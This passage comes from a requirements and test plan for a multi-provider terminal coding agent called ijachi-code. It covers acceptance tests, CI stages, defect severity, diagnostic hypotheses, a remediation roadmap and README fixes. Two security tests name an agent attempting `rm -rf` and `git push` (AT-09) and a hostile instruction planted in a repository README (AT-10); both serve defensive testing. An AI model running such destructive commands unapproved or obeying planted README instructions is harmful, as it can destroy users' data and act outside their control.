AT-03	Interactive session; user asks to add a function and tests. Then files are edited after approval, tests run, and the diff matches.	BR-01, FR-01 to FR-07
AT-04	Session where the first model learns a constraint; the router switches model. Then the constraint is respected afterwards.	BR-03, SC-03
AT-05	Primary provider returns 503 mid-stream. Then the turn completes on another provider with no duplicate edits.	BR-04, SC-08
AT-06	Trivial question after hard work. Then a cheaper model answers and `/why` explains the choice.	BR-02, BR-11
AT-07	Hard failing-tests task. Then escalation to a stronger model occurs after two failed attempts.	FR-26
AT-08	Session budget of $0.05. Then the agent pauses at the limit and asks.	BR-05, FR-07
AT-09	Agent attempts `rm -rf` and `git push`. Then each requires approval and default input denies.	BR-06, SEC-01
AT-10	Repository README contains a hostile instruction. Then no unapproved action occurs.	SEC-17
AT-11	Kill the process mid-session. Then `--continue` restores the session with file-change detection.	SC-09
AT-12	Long session beyond a small model's window. Then compaction occurs, ledger facts survive, no overflow errors.	SC-04, SC-05
AT-13	Print mode in CI with no TTY and an action needing approval. Then exit code 5 and no action.	SEC-08, FR section 2.7

ID	Given / When / Then	Covers
AT-14	`--local-only` with cloud keys present. Then no cloud request is made.	SEC-13
AT-15	`serve` started with defaults. Then it listens only on localhost and rejects requests without a token.	SEC-11
AT-16	Run every README command in CI. Then all pass.	BR-13, NFR-12
AT-17	Windows PowerShell and Linux and macOS terminals. Then UI renders without garbling and key bindings work.	UX-17, NFR-08
AT-18	Upgrade from the current release with existing `~/.ijachi-llmr` data. Then history and stats are preserved.	NFR-11

7.10 Continuous integration pipeline

1. Lint and format, static typing (mypy or pyright), license check.
2. Unit and component tests on the OS and Python matrix.
3. Integration tests with the fake provider; PTY end-to-end tests.
4. Security job: bandit or equivalent, dependency audit, secret scan, injection and fuzz suites.
5. Documentation job: execute README and docs examples; fail on drift (BR-13).
6. Nightly: live contract tests with spend caps, routing benchmark, continuity eval, classifier eval.
7. Release job (manual approval): build, sign, SBOM, publish with trusted publishing; blocked unless every release criterion in section 1.11 is green.

7.11 Defect severity and exit criteria

Severity	Definition	Release rule
S1	Data loss, unapproved destructive action, secret leak, security bypass, session corruption	Blocks release
S2	A Must requirement fails, wrong routing causing failed tasks, crash in a core flow	Blocks release

Severity	Definition	Release rule
S3	A Should requirement fails, degraded UX, cosmetic defect in a core flow	Fix or document with workaround
S4	Minor cosmetic or edge-case issue	Backlog

Exit criteria: zero open S1 and S2; all acceptance tests pass on all supported platforms; benchmark and continuity gates met; security review complete with findings closed.

Document 8: Operations, Release and README Remediation

8.1 Turning 'not working properly' into findings

Because the code has not been reviewed, start with a short diagnostic sprint. Reproduce each symptom, capture a trace, and test these hypotheses. Each one is cheap to check and each one is a common cause of exactly the symptoms a stateless router shows.

ID	Hypothesis	Quick check
H-01	Routing is stateless: each call sends only the latest prompt, so follow-ups lose context	Run a two-turn conversation; inspect the second request payload
H-02	Entry points fail after `pip install` because `cli.py` sits outside the package	Install in a clean virtualenv and run each command
H-03	The classifier artifact is stale, untrained or mismatched with the installed scikit-learn version	Load it in a fresh environment; run `train`; compare predictions
H-04	The optimizer rewrites code or tool payloads and corrupts requests	Run with the optimizer disabled and compare results
H-05	Fallback re-sends messages in the wrong format for a different provider	Fault-inject a failure after turn 2 and inspect the replayed request
H-06	Model IDs or prices in `models.yaml` are stale or invalid, producing 404s; the README samples (`claude-haiku-4-5`) do not match the table (`claude-3-7-sonnet`)	Validate each model ID with a one-token request; run `update-catalog`

ID	Hypothesis	Quick check
H-07	Catalog tags and classifier categories differ, so some categories never match any model	Diff the two label sets
H-08	Cost estimates use raw prompt length and ignore history, so the cap is ineffective	Compare estimated and actual input tokens
H-09	Circuit breaker state is never reset or is shared incorrectly across providers	Open a breaker, wait past the cool-down, send a request
H-10	Provider detection misses keys or counts empty variables as set	Run `providers` with empty, unset and valid keys
H-11	Providers without tool support get agent turns	Check the catalog for a tool-use flag; run agent mode against each provider
H-12	Documented `ijachi-code` subcommands (`agent` , `fix` , `consensus` , `index` , `commit`) are partly unimplemented or untested	Run each against a fixture repository
H-13	Windows encoding or path handling errors	Run the suite on Windows PowerShell
H-14	Local-provider latency (several seconds) causes timeouts or is excluded by speed scoring	Test Ollama with default timeouts

Output of the sprint is a defect list ranked by the severity scale in 7.11, mapped to requirement IDs, which becomes the backlog for the phases below.

8.2 Phased remediation roadmap

Durations are rough estimates for one to two engineers and should be revised after the diagnostic sprint.

Phase	Focus	Key deliverables	Exit gate
0: Stabilize (1 to 2 weeks)	Make the current build install and run reliably	Fix packaging and entry points, `doctor` command, catalog validation, fake provider server, CI on three OSes	AT-01, AT-02, AT-16 pass

Phase	Focus	Key deliverables	Exit gate
1: Session core (3 to 4 weeks)	Session-centric engine	Event log, store, context assembler, token counting, compaction, provider normalization, fallback replay	AT-04, AT-05, AT-11, AT-12; continuity eval at 90% or better
2: Agent and safety (3 to 4 weeks)	Claude Code-class workflow	Tools, permission system, shell parser, sandbox, checkpoints, `/undo`, limits	AT-03, AT-09, AT-10, AT-13; security suites green
3: Terminal UX (2 to 3 weeks)	Interface	Renderer, status line, approvals, slash commands, `/why`, `/context`, `/cost`, onboarding, accessibility modes	UX tests and AT-17 pass
4: Routing intelligence (3 to 4 weeks)	Cheaper, still right	Session-aware features, retrained classifier and dataset, stickiness and escalation, benchmark	OBJ-1, OBJ-2 met; AT-06, AT-07
5: Hardening and Pro (2 to 3 weeks)	Release readiness	Server and dashboard security, signed catalog and artifacts, external security review, license rework, SECURITY.md, docs freeze	Section 1.11 release criteria all green
6: Beta and launch (2 weeks)	Real-world validation	Closed beta, usability study, fix S1 and S2, publish docs	Exit criteria in 7.11

The `fix`, `consensus`, `index` and `commit` workflows can ship as Beta after Phase 3 if they are clearly labeled; the core session, routing, safety and continuity features may not ship in a degraded state.

8.3 README remediation

The README should become a truthful front door. Corrections to make now, regardless of code status:

1. **Add `id: router`** to the GitHub Action example so the documented `steps.router.outputs.*` references work, and pin the action by version or SHA.
2. **Fix the GitHub CLI extension claim.** `gh extension install` expects a repository named with a `gh-` prefix (for example `ijachi/gh-router`); either create that repository or document an alternative installation.
3. **Reconcile numbers:** the headline says 40+ models while the table shows 23; the sample output shows `claude-haiku-4-5` and `claude-sonnet-4-5` while the table lists `claude-3-7-sonnet`. Generate the table from `models.yaml` so it cannot drift, and add a 'last verified' date.
4. **Reconcile tags and speed tiers:** document the actual valid tags and speed tiers (add `ultra-fast` and any tags used in the table, or remove them).
5. **Resolve the licensing statement:** do not claim both MIT and a commercial license 'for proprietary use' without explaining what the commercial license adds (see Document 1, section 1.10).
6. **Mark feature maturity** with a table: Stable, Beta, Planned, so unfinished features are not presented as finished.
7. **Add the missing sections:** session continuity (how it works and its limits), permissions and safety, privacy and data flow, configuration reference, troubleshooting, uninstall, upgrade notes, and a link to SECURITY.md.
8. **Unify naming:** explain the roles of `ijachi-code`, `ijachi-router`, `ijr` and `gh router` in one table, and use one config directory name throughout.
9. **Fix the project tree:** show `cli/` inside the package, the new `session/`, `context/`, `agent/` and `routing/` packages, and every test module.
10. **Verify every claim:** remove marketing language that cannot be backed by the benchmark (for example 'cheapest model that can handle it well') until the numbers are published.

Recommended README outline

1. Title, tagline, one-paragraph description, short terminal demo (recorded session)
2. Install (pipx, pip), first run, 60-second quickstart, zero-cost Ollama path
3. What it does: routing, session continuity, fallback, cost control, safety
4. Feature maturity table
5. Everyday use: interactive session, slash commands, one-shot and CI usage
6. Providers and models (generated table)
7. Configuration and permissions (short, links to docs)
8. Privacy and security summary (links to SECURITY.md and PRIVACY.md)
9. Library usage and GitHub integrations

10. How routing and sessions work (diagram, links to docs)
11. Contributing, adding models and providers
12. Editions, licensing and support

8.4 Documentation set to maintain in the repository

File	Source in this suite
`README.md`	8.3 outline
`docs/CLI.md`, `docs/SLASH_COMMANDS.md`	Document 2
`docs/SESSIONS.md`	Document 3
`docs/ARCHITECTURE.md` and `docs/adr/` (decision records)	Document 4
`docs/PERMISSIONS.md`, `SECURITY.md`, `PRIVACY.md`	Document 5
`docs/UX.md`	Document 6
`docs/TESTING.md`, `docs/BENCHMARKS.md`	Document 7
`docs/PROVIDERS.md`, `docs/CATALOG.md`, `docs/CONFIGURATION.md`	Documents 2 and 4
`CONTRIBUTING.md`, `CODE_OF_CONDUCT.md`, `CHANGELOG.md`	Document 8
`PRICING.md`, `LICENSE`, `COMMERCIAL_LICENSE.md`	Document 1
`docs/BRD.md` (this document 1, optionally kept internal)	Document 1

Policy: documentation changes ship in the same pull request as the behavior change, and CI fails on drift (NFR-12).

8.5 Versioning, compatibility and migration

- Semantic Versioning. Breaking changes only in major releases, with a deprecation period of at least one minor release and a clear changelog entry.
- Session schema, catalog schema and config schema are versioned independently, with automatic forward migration and backups before migrating.

- Existing `~/.ijachi-llmr` history and stats are preserved on upgrade (NFR-11); new session data is added alongside.
- Support matrix published for OS, Python versions and provider adapters, with a policy for removing adapters for retired provider models.

8.6 User troubleshooting guide (seed content)

Symptom	Likely cause	Fix
`No provider found`	No key detected and no local server	Set a key, or start Ollama; run `/doctor`
`model not found` (404)	Catalog entry is stale	`ijachi-router update-catalog`; report the entry
Answers ignore earlier instructions	Context was compacted or the memory file is missing it	`/context`, then add the rule to `IJACHI.md` or pin it as a fact
Too many model switches	Priority too aggressive or stickiness low	`/priority balanced`, or `/model <id>` to pin
Costs higher than expected	Large context or an expensive model chosen	`/cost`, `/why`, set `--max-cost` or `--budget`
Connection refused for local model	Ollama not running	Start Ollama and pull the model
Garbled symbols on Windows	Console lacks Unicode support	Use Windows Terminal or set `ui.ascii: true`
Approval prompt appears too often	No allow rules yet	Use `a` to always allow safe patterns, or edit `/permissions`
Command works in terminal but not in the agent	Scrubbed environment	Add the variable to the environment allow-list

8.7 Open decisions for the product owner

#	Decision	Recommendation
D-1	Core license (MIT vs copyleft) and what the commercial license adds	Decide with legal advice before launch
D-2	Where Pro code lives	Separate private package or hosted service
D-3	Default privacy and telemetry	Local-only storage, telemetry off
D-4	Quality floor tiers for agent turns	Tier 2 and above by default, configurable
D-5	Default priority	Balanced
D-6	Minimum Python version	3.10
D-7	Whether `ijachi-code` without arguments is the headline command	Yes; keep `ijachi-router` as the admin and one-shot tool
D-8	Whether consensus mode ships in v1.0	Beta
D-9	OS sandbox as default or opt-in	Opt-in in v1.0, default in v1.1
D-10	Project memory filename	`IJACHI.md`

8.8 Glossary

- **Session:** the persistent record of one working conversation, independent of any model.
- **Event log:** the append-only, provider-neutral history of a session.
- **Ledger:** short pinned facts and decisions that must survive compaction.
- **Compaction:** replacing older turns in the context with a verified summary while keeping the full log.
- **Context assembly:** building a model-specific request from the session.
- **Stickiness:** a bonus that discourages unnecessary model switches.
- **Escalation:** moving to a stronger model after failure or low confidence.
- **Fallback:** moving to another provider after an error.
- **Circuit breaker:** temporarily skipping a failing provider.
- **Checkpoint:** a snapshot of files taken before edits so changes can be undone.
- **Taint tracking:** treating actions that follow untrusted content with extra caution.
- **Quality tier:** the catalog's 1 to 5 rating of a model's capability.